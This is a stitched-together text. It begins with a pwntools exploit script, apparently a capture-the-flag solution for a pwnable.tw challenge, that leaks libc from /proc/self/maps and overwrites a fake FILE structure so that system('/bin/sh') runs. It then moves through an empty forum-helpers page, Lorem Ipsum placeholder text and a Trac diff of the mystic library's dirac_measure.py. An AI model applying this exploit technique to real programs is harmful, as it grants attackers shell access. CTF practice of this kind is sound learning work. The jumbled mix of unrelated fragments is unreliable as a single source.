and launch shell.
exploit.py
import sys
from pwn import *
#context.log_level = 'debug'
host = 'chall.pwnable.tw'
port = 10200
if len(sys.argv) > 1:
r = remote(host, port)
else:
r = process('./q')#, env={'LD_PRELOAD': './libc_32.so.6'})
def openfile(path):
r.sendlineafter(':', '1')
r.sendlineafter(':', path)
def readfile():
r.sendlineafter(':', '2')
def writetoscreen():
r.sendlineafter(':', '3')
def closefile():
r.sendlineafter(':', '4')
def leave(payload):
r.sendlineafter(':', '5')
r.sendlineafter(':', payload)
libc = ELF('./libc_32.so.6')
openfile('/proc/self/maps')
readfile()
writetoscreen()
r.recvline()
r.recvline()
r.recvline()
r.recvline()
libc.address = int(r.recvline()[:8], 16) + 0x1000
system = libc.sym['system']
print('libc:', hex(libc.address))
fake_file = '\xff\xff\xff\xff;/bin/sh'
fake_file = fake_file.ljust(0x94, '\x00')
fake_file += p32(0x804b300+0x98)
fake_file += (p32(system)*21)
payload = ('\x00'*0x20 + p32(0x804b300)).ljust(0xa0, '\x00') + fake_file
leave(payload)
r.interactive()


Please enable JavaScript to display this page
Javascript is required to display the list of Forum Helpers
Current Forum Helpers
Below is a list of current Forum Helpers, along with their profile picture, biography, and
Ocular Status
.
There are currently
Managers and
Curators in our studio, for a total of
members.
Badge Legend
indicates a Forum Helpers Dashboard Admin.
indicates a site contributor.
indicates a member of the original studio.
Search for a Forum Helper
Search
Only show matching results?
Top
Managers
Curators
Managers
Loading...
Curators
Loading...


Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took
Materials Needed:
Funding Needed: $0.00
Funding Received: $0.00
View more projects
Tell your friends about this project


Changeset 569 for mystic/_math
- Timestamp:
- 09/24/12 15:59:25 (4 years ago)
- Location:
- mystic/_math
- Files:
-
- 1 edited
- 3 moved
-
compressed.py (moved) (moved from branches/UQ/math/legacy/compressed.py)
-
dirac_measure.py (modified) (15 diffs)
-
legacydata.py (moved) (moved from branches/UQ/math/legacy/legacydata.py) (2 diffs)
-
paramtrans.py (moved) (moved from branches/UQ/math/legacy/paramtrans.py) (3 diffs)
Legend:
- Unmodified
- Added
- Removed
-
mystic/_math/dirac_measure.py
r508 r569 2 2 """ 3 3 Classes for Dirac measure data objects. 4 Includes point, dirac_measure, and product_measureclasses.4 Includes point, dirac_measure, product_measure, and scenario classes. 5 5 """ 6 6 # Adapted from seesaw2d.py in branches/UQ/math/examples2/ … … 12 12 13 13 class point(object): 14 """ 1-d object with weight and position """ 14 """ 1-d object with weight and position 15 16 queries: 17 p.weight -- returns weight 18 p.position -- returns position 19 p.rms -- returns the square root of sum of squared position 20 21 settings: 22 p.weight = w1 -- set the weight 23 p.position = x1 -- set the position 24 """ 15 25 16 26 def __init__(self, position, weight): … … 21 31 def __repr__(self): 22 32 return "(%s @%s)" % (self.weight, self.position) 33 34 def __rms(self): # square root of sum of squared positions 35 from math import sqrt 36 return sqrt(sum([i**2 for i in self.position])) 37 38 # interface 39 rms = property(__rms) 23 40 24 41 pass … … 72 89 def __mean(self): 73 90 from mystic.math.measures import mean 74 return mean(self.coords, self.weights) 91 return mean(self.coords, self.weights) 75 92 76 93 def __range(self): … … 174 191 methods: 175 192 c.pof(f) -- calculate the probability of failure 193 c.sampled_pof(f, npts) -- calculate the pof using sampled points 176 194 c.get_expect(f) -- calculate the expectation 177 195 c.set_expect((center,delta), f) -- impose expectation by adjusting positions 178 196 c.flatten() -- convert measure to a flat list of parameters 179 197 c.load(params, pts) -- 'fill' the measure from a flat list of parameters 198 c.update(params) -- 'update' the measure from a flat list of parameters 180 199 181 200 notes: … … 185 204 - weight wxi should be same for each (yj,zk) at xi; similarly for wyi & wzi 186 205 """ 206 def __val(self): 207 raise NotImplementedError, "'value' is undefined in a dirac_measure" 187 208 188 209 def __pts(self): … … 276 297 # u += self.weights[i] 277 298 # return u #XXX: does this need to be normalized? 278 299 279 300 def sampled_pof(self, f, npts=10000): 280 301 """calculate probability of failure over a given function, f, … … 307 328 from numpy import transpose 308 329 return transpose(pts) #XXX: assumes 'coords' is a list of floats 330 331 def update(self, params): 332 """update the product measure from a list of parameters 333 334 The dimensions of the product measure will not change""" 335 pts = self.pts 336 _len = 2 * sum(pts) 337 338 if len(params) > _len: # if Y-values are appended to params 339 params, values = params[:_len], params[_len:] 340 341 pm = unflatten(params, pts) 342 zo = pm.count([]) 343 self[:] = pm[:len(self) - zo] + self[len(pm) - zo:] 344 return 309 345 310 346 def load(self, params, pts): … … 327 363 pattern followed for each new dimension desired for the product measure. 328 364 """ 329 c = unflatten(params, pts) 330 for i in range(len(c)): 331 self.append(c[i]) 365 _len = 2 * sum(pts) 366 if len(params) > _len: # if Y-values are appended to params 367 params, values = params[:_len], params[_len:] 368 369 self.extend( unflatten(params, pts) ) 332 370 return 333 371 … … 349 387 pattern followed for each dimension of the product measure. 350 388 """ 351 return flatten(self) 389 params = flatten(self) 390 return params 391 392 #XXX: name stinks... better as "non_redundant"? ...is really a helper 393 def differs_by_one(self, ith, all=True, index=True): 394 """get the product measure coordinates where the associated binary 395 string differs by exactly one index 396 397 Inputs: 398 ith = the target index 399 all = if False, return only the results for indicies < i 400 index = if True, return the index of the results (not results themselves) 401 """ 402 from mystic.math.compressed import index2binary, differs_by_one 403 b = index2binary(range(self.npts), self.npts) 404 return differs_by_one(ith, b, all, index) 405 406 def select(self, *index, **kwds): 407 """generator for product measure coords due to selected position indicies 408 (NOTE: only works for product measures of dimension 2^K) 409 410 >>> r 411 [[9, 8], [1, 3], [4, 2]] 412 >>> r.select(*range(r.npts)) 413 [(9, 1, 4), (8, 1, 4), (9, 3, 4), (8, 3, 4), (9, 1, 2), (8, 1, 2), (9, 3, 2), (8, 3, 2)] 414 >>> 415 >>> _pack(r) 416 [(9, 1, 4), (8, 1, 4), (9, 3, 4), (8, 3, 4), (9, 1, 2), (8, 1, 2), (9, 3, 2), (8, 3, 2)] 417 """ 418 from mystic.math.compressed import index2binary, binary2coords 419 v = index2binary(list(index), self.npts) 420 return binary2coords(v, self.pos, **kwds) 421 #XXX: '_pack' requires resorting ([::-1]) so that indexing is wrong. 422 # Better if modify mystic's pack to match sorting of binary strings ? 352 423 353 424 #__center = None … … 368 439 369 440 441 class scenario(product_measure): #FIXME: meant to only accept sets... 442 """ a N-d product measure (collection of dirac measures) with values 443 s = scenario(product_measure, [value1, value2, ..., valueN]) 444 where each point in the product measure is paried with a value 445 (essentially, a dataset in product_measure representation) 446 447 queries: 448 s.npts -- returns total number of points 449 s.weights -- returns list of weights 450 s.coords -- returns list of position tuples 451 s.values -- returns list of values 452 s.mass -- returns list of weight norms 453 s.pts -- returns number of points for each discrete measure 454 s.wts -- returns list of weights for each discrete measure 455 s.pos -- returns list of positions for each discrete measure 456 457 settings: 458 s.coords = [(x1,y1,z1),...] -- set the positions (tuples in product measure) 459 s.values = [v1,v2,v3,...] -- set the values (correspond to position tuples) 460 461 methods: 462 s.pof(f) -- calculate the probability of failure 463 s.pof_value(f) -- calculate the probability of failure using the values 464 s.sampled_pof(f, npts) -- calculate the pof using sampled points 465 s.get_expect(f) -- calculate the expectation 466 s.set_expect((center,delta), f) -- impose expectation by adjusting positions 467 s.get_mean_value() -- calculate the mean values for a scenario 468 s.set_mean_value(m) -- impose mean value by adjusting values 469 s.set_feasible(data) -- impose shortness by adjusting positions and values 470 s.short_wrt_data(data) -- check for shortness with respect to data 471 s.short_wrt_self(L) -- check for shortness with respect to self 472 s.set_valid(model) -- impose validity by adjusting positions and values 473 s.valid_wrt_model(model) -- check for validity with respect to the model 474 s.flatten() -- convert measure to a flat list of parameters 475 s.load(params, pts) -- 'fill' the measure from a flat list of parameters 476 s.update(params) -- 'update' the measure from a flat list of parameters 477 478 notes: 479 - constraints impose expect (center - delta) <= E <= (center + delta) 480 - constraints impose sum(weights) == 1.0 for each set 481 - assumes that s.npts = len(s.coords) == len(s.weights) 482 - weight wxi should be same for each (yj,zk) at xi; similarly for wyi & wzi 483 """ 484 def __init__(self, pm=None, values=None): 485 super(product_measure,self).__init__() 486 if pm: 487 pm = product_measure(pm) 488 self.load(pm.flatten(), pm.pts) 489 if not values: values = [] 490 self.__Y = values # storage for values of s.coords 491 return 492 493 def __values(self): 494 return self.__Y 495 496 def __set_values(self, values): 497 self.__Y = values[:] 498 return 499 500 def get_mean_value(self): # get mean of y's 501 """calculate the mean of the associated values for a scenario""" 502 from mystic.math.measures import mean 503 return mean(self.values, self.weights) 504 505 def set_mean_value(self, m): # set mean of y's 506 """set the mean for the associated values of a scenario""" 507 from mystic.math.measures import impose_mean 508 self.values = impose_mean(m, self.values, self.weights) 509 return 510 511 def valid_wrt_model(self, model, blamelist=False, pairs=True, \ 512 all=False, raw=False, **kwds): 513 """check for scenario validity with respect to the model 514 515 Inputs: 516 model -- the model function, y' = F(x') 517 blamelist -- if True, report which points are infeasible 518 pairs -- if True, report indicies of infeasible points 519 all -- if True, report results for each point (opposed to all points) 520 raw -- if True, report numerical results (opposed to boolean results) 521 522 Additional Inputs: 523 ytol -- maximum acceptable difference |y - F(x')|; a single value 524 xtol -- maximum acceptable difference |x - x'|; an iterable or single value 525 cutoff -- zero out distances less than cutoff; typically: ytol, 0.0, or None 526 527 Notes: 528 xtol defines the n-dimensional base of a pilar of height ytol, centered at 529 each point. The region inside the pilar defines the space where a "valid" 530 model must intersect. If xtol is not specified, then the base of the pilar 531 will be a dirac at x' = x. This function performs an optimization for each 532 x to find an appropriate x'. While cutoff and ytol are very tightly related, 533 they play a distinct role; ytol is used to set the optimization termination 534 for an acceptable |y - F(x')|, while cutoff is applied post-optimization. 535 """ 536 from mystic.math.legacydata import dataset 537 data = dataset() 538 data.load(self.coords, self.values) 539 #data.lipschitz = L 540 for i in range(len(data)): 541 data[i].id = i 542 return data.valid(model, blamelist=blamelist, pairs=pairs, \ 543 all=all, raw=raw, **kwds) 544 545 def short_wrt_self(self, L, blamelist=False, pairs=True, \ 546 all=False, raw=False, **kwds): 547 """check for shortness with respect to the scenario itself 548 549 Inputs: 550 L -- the lipschitz constant 551 blamelist -- if True, report which points are infeasible 552 pairs -- if True, report indicies of infeasible points 553 all -- if True, report results for each point (opposed to all points) 554 raw -- if True, report numerical results (opposed to boolean results) 555 556 Additional Inputs: 557 tol -- maximum acceptable deviation from shortness 558 cutoff -- zero out distances less than cutoff; typically: tol, 0.0, or None 559 560 Notes: 561 Each point x,y can be thought to have an associated double-cone with slope 562 equal to the lipschitz constant. Shortness with respect to another point is 563 defined by the first point not being inside the cone of the second. We can 564 allow for some error in shortness, a short tolerance 'tol', for which the 565 point x,y is some acceptable y-distance inside the cone. While very tightly 566 related, cutoff and tol play distinct roles; tol is subtracted from 567 calculation of the lipschitz_distance, while cutoff zeros out the value 568 of any element less than the cutoff. 569 """ 570 from mystic.math.legacydata import dataset 571 data = dataset() 572 data.load(self.coords, self.values) 573 data.lipschitz = L 574 for i in range(len(data)): 575 data[i].id = i 576 return data.short(blamelist=blamelist, pairs=pairs, \ 577 all=all, raw=raw, **kwds) 578 579 def short_wrt_data(self, data, L=None, blamelist=False, pairs=True, \ 580 all=False, raw=False, **kwds): 581 """check for shortness with respect to the given data 582 583 Inputs: 584 data -- a collection of data points 585 L -- the lipschitz constant, if different from that provided with data 586 blamelist -- if True, report which points are infeasible 587 pairs -- if True, report indicies of infeasible points 588 all -- if True, report results for each point (opposed to all points) 589 raw -- if True, report numerical results (opposed to boolean results) 590 591 Additional Inputs: 592 tol -- maximum acceptable deviation from shortness 593 cutoff -- zero out distances less than cutoff; typically cutoff = tol or 0.0 594 595 Notes: 596 Each point x,y can be thought to have an associated double-cone with slope 597 equal to the lipschitz constant. Shortness with respect to another point is 598 defined by the first point not being inside the cone of the second. We can 599 allow for some error in shortness, a short tolerance 'tol', for which the 600 point x,y is some acceptable y-distance inside the cone. While very tightly 601 related, cutoff and tol play distinct roles; tol is subtracted from 602 calculation of the lipschitz_distance, while cutoff zeros out the value 603 of any element less than the cutoff. 604 """ 605 from mystic.math.legacydata import dataset 606 _self = dataset() 607 _self.load(self.coords, self.values) 608 _self.lipschitz = data.lipschitz 609 for i in range(len(_self)): 610 _self[i].id = i 611 return _self.short(data, L=L, blamelist=blamelist, pairs=pairs, \ 612 all=all, raw=raw, **kwds) 613 614 def set_feasible(self, data, cutoff=0.0, bounds=None, constraints=None, \ 615 with_self=True, **kwds): 616 """impose shortness on a scenario with respect to given data points 617 618 Inputs: 619 data -- a collection of data points 620 cutoff -- acceptable deviation from shortness 621 622 Additional Inputs: 623 with_self -- if True, shortness will also be imposed with respect to self 624 tol -- acceptable optimizer termination before sum(infeasibility) = 0. 625 bounds -- a tuple of sample bounds: bounds = (lower_bounds, upper_bounds) 626 constraints -- a function that takes a flat list parameters 627 x' = constraints(x) 628 """ 629 # imposes: is_short(x, x'), is_short(x, z ) 630 # use additional 'constraints' kwds to impose: y >= m, norm(wi) = 1.0 631 pm = impose_feasible(cutoff, data, guess=self.pts, bounds=bounds, \ 632 constraints=constraints, with_self=with_self, **kwds) 633 self.update( pm.flatten(all=True) ) 634 return 635 636 def set_valid(self, model, cutoff=0.0, bounds=None, constraints=None, **kwds): 637 """impose validity on a scenario with respect to given data points 638 639 Inputs: 640 model -- the model function, y' = F(x'), that approximates reality, y = G(x) 641 cutoff -- acceptable model invalidity |y - F(x')| 642 643 Additional Inputs: 644 xtol -- acceptable pointwise graphical distance of model from reality 645 tol -- acceptable optimizer termination before sum(infeasibility) = 0. 646 bounds -- a tuple of sample bounds: bounds = (lower_bounds, upper_bounds) 647 constraints -- a function that takes a flat list parameters 648 x' = constraints(x) 649 650 Notes: 651 xtol defines the n-dimensional base of a pilar of height cutoff, centered at 652 each point. The region inside the pilar defines the space where a "valid" 653 model must intersect. If xtol is not specified, then the base of the pilar 654 will be a dirac at x' = x. This function performs an optimization to find 655 a set of points where the model is valid. Here, tol is used to set the 656 optimization termination for the sum(graphical_distances), while cutoff is 657 used in defining the graphical_distance between x,y and x',F(x'). 658 """ 659 # imposes is_feasible(R, Cv), where R = graphical_distance(model, pts) 660 # use additional 'constraints' kwds to impose: y >= m, norm(wi) = 1.0 661 pm = impose_valid(cutoff, model, guess=self, \ 662 bounds=bounds, constraints=constraints, **kwds) 663 self.update( pm.flatten(all=True) ) 664 return 665 666 def pof_value(self, f): 667 """calculate probability of failure over a given function, f, 668 where f takes a list of (scenario) values and returns a single value 669 670 Inputs: 671 f -- a function that returns True for 'success' and False for 'failure' 672 """ 673 u = 0 674 set = zip(self.values, self.weights) 675 for x in set: 676 if f(x[0]) <= 0.0: 677 u += x[1] 678 return u 679 680 def update(self, params): #XXX: overwritten. create standalone instead ? 681 """update the scenario from a list of parameters 682 683 The dimensions of the scenario will not change""" 684 pts = self.pts 685 _len = 2 * sum(pts) 686 687 if len(params) > _len: # if Y-values are appended to params 688 params, values = params[:_len], params[_len:] 689 self.values = values[:len(self.values)] + self.values[len(values):] 690 691 pm = unflatten(params, pts) 692 zo = pm.count([]) 693 self[:] = pm[:len(self) - zo] + self[len(pm) - zo:] 694 return 695 696 def load(self, params, pts): #XXX: overwritten. create standalone instead ? 697 """load a list of parameters corresponding to N x 1D discrete measures 698 699 Inputs: 700 params -- a list of parameters (see 'notes') 701 pts -- number of points in each of the underlying discrete measures 702 703 Notes: 704 To append len(pts) new discrete measures to scenario c, where 705 pts = (M, N, ...) 706 params = [wt_x1, ..., wt_xM, \ 707 x1, ..., xM, \ 708 wt_y1, ..., wt_yN, \ 709 y1, ..., yN, \ 710 ...] 711 Thus, the provided list is M weights and the corresponding M positions, 712 followed by N weights and the corresponding N positions, with this 713 pattern followed for each new dimension desired for the scenario. 714 """ 715 _len = 2 * sum(pts) 716 if len(params) > _len: # if Y-values are appended to params 717 params, self.values = params[:_len], params[_len:] 718 719 self.extend( unflatten(params, pts) ) 720 return 721 722 def flatten(self, all=True): #XXX: overwritten. create standalone instead ? 723 """flatten the scenario into a list of parameters 724 725 Returns: 726 params -- a list of parameters (see 'notes') 727 728 Notes: 729 For a scenario c where c.pts = (M, N, ...), then 730 params = [wt_x1, ..., wt_xM, \ 731 x1, ..., xM, \ 732 wt_y1, ..., wt_yN, \ 733 y1, ..., yN, \ 734 ...] 735 Thus, the returned list is M weights and the corresponding M positions, 736 followed by N weights and the corresponding N positions, with this 737 pattern followed for each dimension of the scenario. 738 """ 739 params = flatten(self) 740 if all: params.extend(self.values) # if Y-values, return those as well 741 return params 742 743 # interface 744 values = property(__values, __set_values ) 745 pass 746 747 370 748 #--------------------------------------------- 371 749 # creators and destructors from parameter list 372 750 373 751 def _mimic(samples, weights): 374 """Generate a product_measure object from a list N product measure752 """Generate a product_measure object from a list of N product measure 375 753 positions and a list of N weights. The resulting product measure will 376 754 mimic the original product measure's statistics, but be larger in size. … … 395 773 396 774 397 def _list_of_measures(samples, weights): 775 def _uniform_weights(samples): 776 """generate a nested list of N x 1D weights from a nested list of N x 1D 777 discrete measure positions, where the weights have norm 1.0 and are uniform. 778 779 >>> c.pos 780 [[1, 2, 3], [4, 5], [6]] 781 >>> _uniform_weights(c.pos) 782 [[0.333333333333333, 0.333333333333333, 0.333333333333333], [0.5, 0.5], [1.0]] 783 """ 784 from mystic.math.measures import normalize 785 return [normalize([1.]*len(xi)) for xi in samples] 786 787 788 def _list_of_measures(samples, weights=None): 398 789 """generate a list of N x 1D discrete measures from a nested list of N x 1D 399 discrete measure positions and a nested list of N x 1D weights.""" 790 discrete measure positions and a nested list of N x 1D weights. 791 792 Note this function does not return a product measure, it returns a list.""" 400 793 total = [] 794 if not weights: weights = _uniform_weights(samples) 401 795 for i in range(len(samples)): 402 796 next = dirac_measure() … … 407 801 408 802 409 def compose(samples, weights ):803 def compose(samples, weights=None): 410 804 """Generate a product_measure object from a nested list of N x 1D 411 discrete measure positions and a nested list of N x 1D weights.""" 805 discrete measure positions and a nested list of N x 1D weights. If weights 806 are not provided, a uniform distribution with norm = 1.0 will be used.""" 807 if not weights: weights = _uniform_weights(samples) 412 808 total = _list_of_measures(samples, weights) 413 809 c = product_measure(total) … … 423 819 424 820 821 #def expand(data, npts): 822 # """Generate a scenario object from a dataset. The scenario will have 823 #uniformly distributed weights and have dimensions given by pts.""" 824 # coords,values = data.fetch() 825 # from mystic.math.measures import _unpack 826 # pm = compose( _unpack(coords, npts) ) 827 # return scenario(pm, values[:pm.npts]) 828 829 425 830 def unflatten(params, npts): 426 831 """Map a list of random variables to N x 1D discrete measures … … 431 836 432 837 838 from itertools import chain #XXX: faster, but sloppy to have as importable 433 839 def flatten(c): 434 840 """Flattens a product_measure object into a list.""" 435 rv = [] 436 for i in range(len(c)): 437 rv.append(c[i].weights) 438 rv.append(c[i].coords) 841 rv = [(i.weights,i.coords) for i in c] 439 842 # now flatten list of lists into just a list 440 from itertools import chain 441 rv = list(chain(*rv)) 442 return rv 843 return list(chain(*chain(*rv))) # faster than mystic.tools.flatten 844 845 846 ##### bounds-conserving-mean: borrowed from seismic/seismic.py ##### 847 def bounded_mean(mean_x, samples, xmin, xmax, wts=None): 848 from mystic.math.measures import impose_mean, impose_spread 849 from mystic.math.measures import spread, mean 850 from numpy import asarray 851 a = impose_mean(mean_x, samples, wts) 852 if min(a) < xmin: # maintain the bound 853 #print "violate lo(a)" 854 s = spread(a) - 2*(xmin - min(a)) #XXX: needs compensation (as below) ? 855 a = impose_mean(mean_x, impose_spread(s, samples, wts), wts) 856 if max(a) > xmax: # maintain the bound 857 #print "violate hi(a)" 858 s = spread(a) + 2*(xmax - max(a)) #XXX: needs compensation (as below) ? 859 a = impose_mean(mean_x, impose_spread(s, samples, wts), wts) 860 return asarray(a) 861 ##################################################################### 862 863 864 #-------------------------------------------------- 865 # constraints solvers and factories for feasibility 866 867 # used in self-consistent constraints function c(x) for 868 # is_short(x, x') and is_short(x, z) 869 def norm_wts_constraintsFactory(pts): 870 """factory for a constraints function that: 871 - normalizes weights 872 """ 873 #from dirac_measure import scenario 874 def constrain(rv): 875 "constrain: sum(wi)_{k} = 1 for each k in K" 876 pm = scenario() 877 pm.load(rv, pts) # here rv is param: w,x,y 878 #impose: sum(wi)_{k} = 1 for each k in K 879 norm = 1.0 880 for i in range(len(pm)): 881 w = pm[i].weights 882 w[-1] = norm - sum(w[:-1]) 883 pm[i].weights = w 884 rv = pm.flatten(all=True) 885 return rv 886 return constrain 887 888 # used in self-consistent constraints function c(x) for 889 # is_short(x, x'), is_short(x, z), and y >= m 890 def mean_y_norm_wts_constraintsFactory(target, pts): 891 """factory for a constraints function that: 892 - imposes a mean on scenario values 893 - normalizes weights 894 """ 895 #from dirac_measure import scenario 896 from mystic.math.measures import mean, impose_mean 897 #target[0] is target mean 898 #target[1] is acceptable deviation 899 def constrain(rv): 900 "constrain: y >= m and sum(wi)_{k} = 1 for each k in K" 901 pm = scenario() 902 pm.load(rv, pts) # here rv is param: w,x,y 903 #impose: sum(wi)_{k} = 1 for each k in K 904 norm = 1.0 905 for i in range(len(pm)): 906 w = pm[i].weights 907 w[-1] = norm - sum(w[:-1]) 908 pm[i].weights = w 909 #impose: y >= m 910 values, weights = pm.values, pm.weights 911 y = float(mean(values, weights)) 912 if not (y >= float(target[0])): 913 pm.values = impose_mean(target[0]+target[1], values, weights) 914 rv = pm.flatten(all=True) 915 return rv 916 return constrain 917 918 def impose_feasible(cutoff, data, guess=None, **kwds): 919 """impose shortness on a given list of parameters w,x,y. 920 921 Optimization on w,x,y over the given bounds seeks sum(infeasibility) = 0. 922 (this function is not ???-preserving) 923 924 Inputs: 925 cutoff -- maximum acceptable deviation from shortness 926 data -- a dataset of observed points (these points are 'static') 927 guess -- the scenario providing an initial guess at feasibility, 928 or a tuple of dimensions of the target scenario 929 930 Additional Inputs: 931 tol -- acceptable optimizer termination before sum(infeasibility) = 0. 932 bounds -- a tuple of sample bounds: bounds = (lower_bounds, upper_bounds) 933 constraints -- a function that takes a flat list parameters 934 x' = constraints(x) 935 936 Outputs: 937 pm -- a scenario with desired shortness 938 """ 939 from numpy import sum, asarray 940 from mystic.math.legacydata import dataset 941 from mystic.math.paramtrans import lipschitz_distance, infeasibility, _npts 942 if guess is None: 943 message = "Requires a guess scenario, or a tuple of scenario dimensions." 944 raise TypeError, message 945 # get initial guess 946 if hasattr(guess, 'pts'): # guess is a scenario 947 pts = guess.pts # number of x 948 guess = guess.flatten(all=True) 949 else: 950 pts = guess # guess is given as a tuple of 'pts' 951 guess = None 952 npts = _npts(pts) # number of Y 953 long_form = len(pts) - list(pts).count(2) # can use '2^K compressed format' 954 955 # prepare bounds for solver 956 bounds = kwds.pop('bounds', None) 957 # if bounds are not set, use the default optimizer bounds 958 if bounds is None: 959 lower_bounds = []; upper_bounds = [] 960 for n in pts: # bounds for n*x in each dimension (x2 due to weights) 961 lower_bounds += [None]*n * 2 962 upper_bounds += [None]*n * 2 963 # also need bounds for npts*y values 964 lower_bounds += [None]*npts 965 upper_bounds += [None]*npts 966 bounds = lower_bounds, upper_bounds 967 bounds = asarray(bounds).T 968 969 # plug in the 'constraints' function: param' = constraints(param) 970 # constraints should impose_mean(y,w), and possibly sum(weights) 971 constraints = kwds.pop('constraints', None) # default is no constraints 972 if not constraints: # if None (default), there are no constraints 973 constraints = lambda x: x 974 975 _self = kwds.pop('with_self', True) # default includes self in shortness 976 if _self is not False: _self = True 977 # tolerance for optimization on sum(y) 978 tol = kwds.pop('tol', 0.0) # default 979 npop = kwds.pop('npop', 20) #XXX: tune npop? 980 maxiter = kwds.pop('maxiter', 1000) #XXX: tune maxiter? 981 982 # if no guess was made, then use bounds constraints 983 if guess is None: 984 if npop: 985 guess = bounds 986 else: # fmin_powell needs a list params (not bounds) 987 guess = [(a + b)/2. for (a,b) in bounds] 988 989 # construct cost function to reduce sum(lipschitz_distance) 990 def cost(rv): 991 """compute cost from a 1-d array of model parameters, 992 where: cost = | sum(lipschitz_distance) | """ 993 _data = dataset() 994 _pm = scenario() 995 _pm.load(rv, pts) # here rv is param: w,x,y 996 if not long_form: 997 coords = _pm.select(*range(npts)) 998 else: coords = _pm.coords 999 _data.load( data.coords, data.values ) # LOAD static 1000 if _self: 1001 _data.load( coords, _pm.values ) # LOAD dynamic 1002 _data.lipschitz = data.lipschitz # LOAD L 1003 Rv = lipschitz_distance(_data.lipschitz, _pm, _data, tol=cutoff, **kwds) 1004 v = infeasibility(Rv, cutoff) 1005 return abs(sum(v)) 1006 1007 # construct and configure optimizer 1008 debug = False #!!! 1009 maxfun = 1e+6 1010 crossover = 0.9; percent_change = 0.9 1011 ftol = abs(tol); gtol = None 1012 1013 if debug: 1014 print "lower bounds: %s" % bounds.T[0] 1015 print "upper bounds: %s" % bounds.T[1] 1016 # print "initial value: %s" % guess 1017 # use optimization to get feasible points 1018 from mystic.solvers import diffev2, fmin_powell 1019 from mystic.monitors import Monitor, VerboseMonitor 1020 from mystic.strategy import Best1Bin, Best1Exp 1021 evalmon = Monitor(); stepmon = Monitor(); strategy = Best1Exp 1022 if debug: stepmon = VerboseMonitor(10) #!!! 1023 if npop: # use VTR 1024 results = diffev2(cost, guess, npop, ftol=ftol, gtol=gtol, bounds=bounds,\ 1025 maxiter=maxiter, maxfun=maxfun, constraints=constraints,\ 1026 cross=crossover, scale=percent_change, strategy=strategy,\ 1027 evalmon=evalmon, itermon=stepmon,\ 1028 full_output=1, disp=0, handler=False) 1029 else: # use VTR 1030 results = fmin_powell(cost, guess, ftol=ftol, gtol=gtol, bounds=bounds,\ 1031 maxiter=maxiter, maxfun=maxfun, constraints=constraints,\ 1032 evalmon=evalmon, itermon=stepmon,\ 1033 full_output=1, disp=0, handler=False) 1034 # repack the results 1035 pm = scenario() 1036 pm.load(results[0], pts) # params: w,x,y 1037 #if debug: print "final cost: %s" % results[1] 1038 if debug and results[2] >= maxiter: # iterations 1039 print "Warning: constraints solver terminated at maximum iterations" 1040 #func_evals = results[3] # evaluation 1041 return pm 1042 1043 1044 def impose_valid(cutoff, model, guess=None, **kwds): 1045 """impose model validity on a given list of parameters w,x,y 1046 1047 Optimization on w,x,y over the given bounds seeks sum(infeasibility) = 0. 1048 (this function is not ???-preserving) 1049 1050 Inputs: 1051 cutoff -- maximum acceptable model invalidity |y - F(x')|; a single value 1052 model -- the model function, y' = F(x'), that approximates reality, y = G(x) 1053 guess -- the scenario providing an initial guess at validity, 1054 or a tuple of dimensions of the target scenario 1055 1056 Additional Inputs: 1057 xtol -- acceptable pointwise graphical distance of model from reality 1058 tol -- acceptable optimizer termination before sum(infeasibility) = 0. 1059 bounds -- a tuple of sample bounds: bounds = (lower_bounds, upper_bounds) 1060 constraints -- a function that takes a flat list parameters 1061 x' = constraints(x) 1062 1063 Outputs: 1064 pm -- a scenario with desired model validity 1065 1066 Notes: 1067 xtol defines the n-dimensional base of a pilar of height cutoff, centered at 1068 each point. The region inside the pilar defines the space where a "valid" 1069 model must intersect. If xtol is not specified, then the base of the pilar 1070 will be a dirac at x' = x. This function performs an optimization to find 1071 a set of points where the model is valid. Here, tol is used to set the 1072 optimization termination for the sum(graphical_distances), while cutoff is 1073 used in defining the graphical_distance between x,y and x',F(x'). 1074 """ 1075 from numpy import sum as _sum, asarray 1076 from mystic.math.paramtrans import graphical_distance, infeasibility, _npts 1077 if guess is None: 1078 message = "Requires a guess scenario, or a tuple of scenario dimensions." 1079 raise TypeError, message 1080 # get initial guess 1081 if hasattr(guess, 'pts'): # guess is a scenario 1082 pts = guess.pts # number of x 1083 guess = guess.flatten(all=True) 1084 else: 1085 pts = guess # guess is given as a tuple of 'pts' 1086 guess = None 1087 npts = _npts(pts) # number of Y 1088 1089 # prepare bounds for solver 1090 bounds = kwds.pop('bounds', None) 1091 # if bounds are not set, use the default optimizer bounds 1092 if bounds is None: 1093 lower_bounds = []; upper_bounds = [] 1094 for n in pts: # bounds for n*x in each dimension (x2 due to weights) 1095 lower_bounds += [None]*n * 2 1096 upper_bounds += [None]*n * 2 1097 # also need bounds for npts*y values 1098 lower_bounds += [None]*npts 1099 upper_bounds += [None]*npts 1100 bounds = lower_bounds, upper_bounds 1101 bounds = asarray(bounds).T 1102 1103 # plug in the 'constraints' function: param' = constraints(param) 1104 constraints = kwds.pop('constraints', None) # default is no constraints 1105 if not constraints: # if None (default), there are no constraints 1106 constraints = lambda x: x 1107 1108 # 'wiggle room' tolerances 1109 ipop = kwds.pop('ipop', 10) #XXX: tune ipop (inner optimization)? 1110 imax = kwds.pop('imax', 10) #XXX: tune imax (inner optimization)? 1111 # tolerance for optimization on sum(y) 1112 tol = kwds.pop('tol', 0.0) # default 1113 npop = kwds.pop('npop', 20) #XXX: tune npop (outer optimization)? 1114 maxiter = kwds.pop('maxiter', 1000) #XXX: tune maxiter (outer optimization)? 1115 1116 # if no guess was made, then use bounds constraints 1117 if guess is None: 1118 if npop: 1119 guess = bounds 1120 else: # fmin_powell needs a list params (not bounds) 1121 guess = [(a + b)/2. for (a,b) in bounds] 1122 1123 # construct cost function to reduce sum(infeasibility) 1124 def cost(rv): 1125 """compute cost from a 1-d array of model parameters, 1126 where: cost = | sum( infeasibility ) | """ 1127 # converting rv to scenario 1128 points = scenario() 1129 points.load(rv, pts) 1130 # calculate infeasibility 1131 Rv = graphical_distance(model, points, ytol=cutoff, ipop=ipop, \ 1132 imax=imax, **kwds) 1133 v = infeasibility(Rv, cutoff) 1134 # converting v to E 1135 return _sum(v) #XXX: abs ? 1136 1137 # construct and configure optimizer 1138 debug = False #!!! 1139 maxfun = 1e+6 1140 crossover = 0.9; percent_change = 0.8 1141 ftol = abs(tol); gtol = None #XXX: optimally, should be VTRCOG... 1142 1143 if debug: 1144 print "lower bounds: %s" % bounds.T[0] 1145 print "upper bounds: %s" % bounds.T[1] 1146 # print "initial value: %s" % guess 1147 # 